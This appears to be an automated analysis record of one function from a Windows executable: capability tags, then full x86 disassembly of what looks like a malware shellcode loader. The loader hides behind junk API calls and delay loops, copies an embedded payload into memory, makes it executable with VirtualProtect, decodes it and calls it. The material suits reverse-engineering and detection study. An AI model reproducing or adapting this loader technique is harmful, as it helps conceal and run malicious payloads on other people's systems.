Function at 0x401194
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4b4
push edi
push 0x7ac760
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x71670
jne 0x40126f
push 0x41bfa0
call fcn.00401690
pop ecx
cmp eax, 0x990ee
jne 0x40126f
lea eax, [ebp - 0x434]
push eax
push 0
push str.nutokewizozavukedoriwobe_tovejiwepuxifuvisa_vusomakuzibimoruvuxo_rigafikudopu
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeExA]
and dword [ebp - 0x44c], 0
xor eax, eax
lea edi, [ebp - 0x448]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x44c]
push eax
lea eax, [ebp - 0x430]
push eax
push str.susenapugimo_pefokicezicesolo_ze_vixajojotogoga
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
push 0
push 0
call dword [sym.imp.USER32.dll_ChangeClipboardChain]
push 0
push 0
push dword [ebp - 0x414]
lea eax, [ebp - 0x410]
push eax
push dword [ebp - 0x438]
push str.lijumutibeyifujujiwopa_bezokige_jifo
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
push 0x20ec93d
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push 0x4159a4
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push ecx
fld dword [0x4159a0]
fstp dword [esp]
call fcn.004015a0
fstp st(0)
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
and dword [ebp - 0x450], 0
jmp 0x401285
mov eax, dword [ebp - 0x450]
inc eax
mov dword [ebp - 0x450], eax
cmp dword [ebp - 0x450], 0x2e4e8c14
jge 0x4012db
cmp dword [ebp - 0x450], 0x2186
jge 0x4012b0
push 0
push 0
lea eax, [ebp - 0x474]
push eax
push 0
call dword [sym.imp.USER32.dll_DrawFrameControl]
lea eax, [ebp - 0x464]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
cmp dword [ebp - 0x450], 0x1a75566
jle 0x4012d9
movzx eax, byte [ebp - 0x460]
cmp eax, 0x3a
je 0x4012d9
jmp 0x4012db
jmp 0x401278
mov eax, dword [0x41b014]
mov dword [0x7ac75c], eax
mov eax, dword [0x7ac75c]
add eax, 0xc1b30
mov dword [0x7ac75c], eax
and dword [ebp - 0x478], 0
jmp 0x40130a
mov eax, dword [ebp - 0x478]
inc eax
mov dword [ebp - 0x478], eax
cmp dword [ebp - 0x478], 0x89c542
jge 0x401374
cmp dword [ebp - 0x478], 0x118f
jge 0x401328
call dword [sym.imp.KERNEL32.dll_FreeConsole]
cmp dword [ebp - 0x478], 0x7b3803
jne 0x401344
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [0x7ac758], eax
cmp dword [ebp - 0x478], 0x1434
jge 0x401372
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_SetBitmapBits]
lea eax, [ebp - 0x480]
push eax
push 0
push str.yedesubicofoxonaxicogofu_yaxehovizucokozezezasururi_netigabasikowikuzumadafopofenu_javecamivusadulaxohisogimoze_ziwinisaruhuvepusetuvuduhave
push 0
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32W]
jmp 0x4012fd
and dword [ebp - 0x484], 0
jmp 0x40138a
mov eax, dword [ebp - 0x484]
inc eax
mov dword [ebp - 0x484], eax
cmp dword [ebp - 0x484], 0x86529f
jge 0x4013d2
cmp dword [ebp - 0x484], 0x1af2
jge 0x4013ae
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GdiComment]
cmp dword [ebp - 0x484], 0x7bf2de
jne 0x4013d0
push 0x415858
push dword [0x7ac758]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41ff54], eax
jmp 0x40137d
and dword [ebp - 0x488], 0
jmp 0x4013e8
mov eax, dword [ebp - 0x488]
inc eax
mov dword [ebp - 0x488], eax
cmp dword [ebp - 0x488], 0x7d7530
jge 0x401415
cmp dword [ebp - 0x488], 0x8e313
jne 0x401413
push dword [0x7ac75c]
push 0
call dword [0x41ff54]
mov dword [0x41ff50], eax
jmp 0x4013db
mov eax, dword [0x41b008]
mov dword [0x7d362c], eax
and dword [ebp - 0x48c], 0
jmp 0x401435
mov eax, dword [ebp - 0x48c]
inc eax
mov dword [ebp - 0x48c], eax
mov eax, dword [ebp - 0x48c]
cmp eax, dword [0x7ac75c]
jae 0x4014b7
cmp dword [ebp - 0x48c], 0x2615
jge 0x40145b
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SetWindowWord]
mov eax, dword [0x41ff50]
add eax, dword [ebp - 0x48c]
mov ecx, dword [0x7d362c]
add ecx, dword [ebp - 0x48c]
mov cl, byte [ecx + 0xc1b30]
mov byte [eax], cl
cmp dword [ebp - 0x48c], 0x5b5
jge 0x4014b2
lea eax, [ebp - 0x494]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadSelectorEntry]
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_PolyBezier]
lea eax, [ebp - 0x4b0]
push eax
push 0
call dword [sym.imp.USER32.dll_GetMenuInfo]
jmp 0x401428
lea eax, [ebp - 8]
push eax
push 0x40
push dword [0x7ac75c]
push dword [0x41ff50]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push dword [section..data]
push dword [0x7ac75c]
push dword [0x41ff50]
call fcn.004010ec
and dword [ebp - 0x4b4], 0
jmp 0x4014fc
mov eax, dword [ebp - 0x4b4]
inc eax
mov dword [ebp - 0x4b4], eax
cmp dword [ebp - 0x4b4], 0x8403d5
jge 0x401557
cmp dword [ebp - 0x4b4], 0x1eed
jge 0x40151c
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp dword [ebp - 0x4b4], 0xf6297
jne 0x40152e
call dword [0x41ff50]
cmp dword [ebp - 0x4b4], 0xb57
jge 0x401555
call dword [sym.imp.USER32.dll_GetDialogBaseUnits]
push 0
push str.buzikihevutuyoliceca_fetaludodu_zuzuhonu_sarakudekisosipe
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
push 0
call dword [sym.imp.GDI32.dll_DeleteDC]
jmp 0x4014ef
push 0
push 0
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
lea eax, [ebp - 4]
push eax
push 0
push str.pibobupexi_rawosu_dotoberugevogiwa_feziyeme_vakocizupivexowirula
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
call dword [sym.imp.KERNEL32.dll_LocalLock]
mov eax, dword [0x7d3634]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov dword [eax + 4], 1
xor eax, eax
pop edi
leave
ret 0x10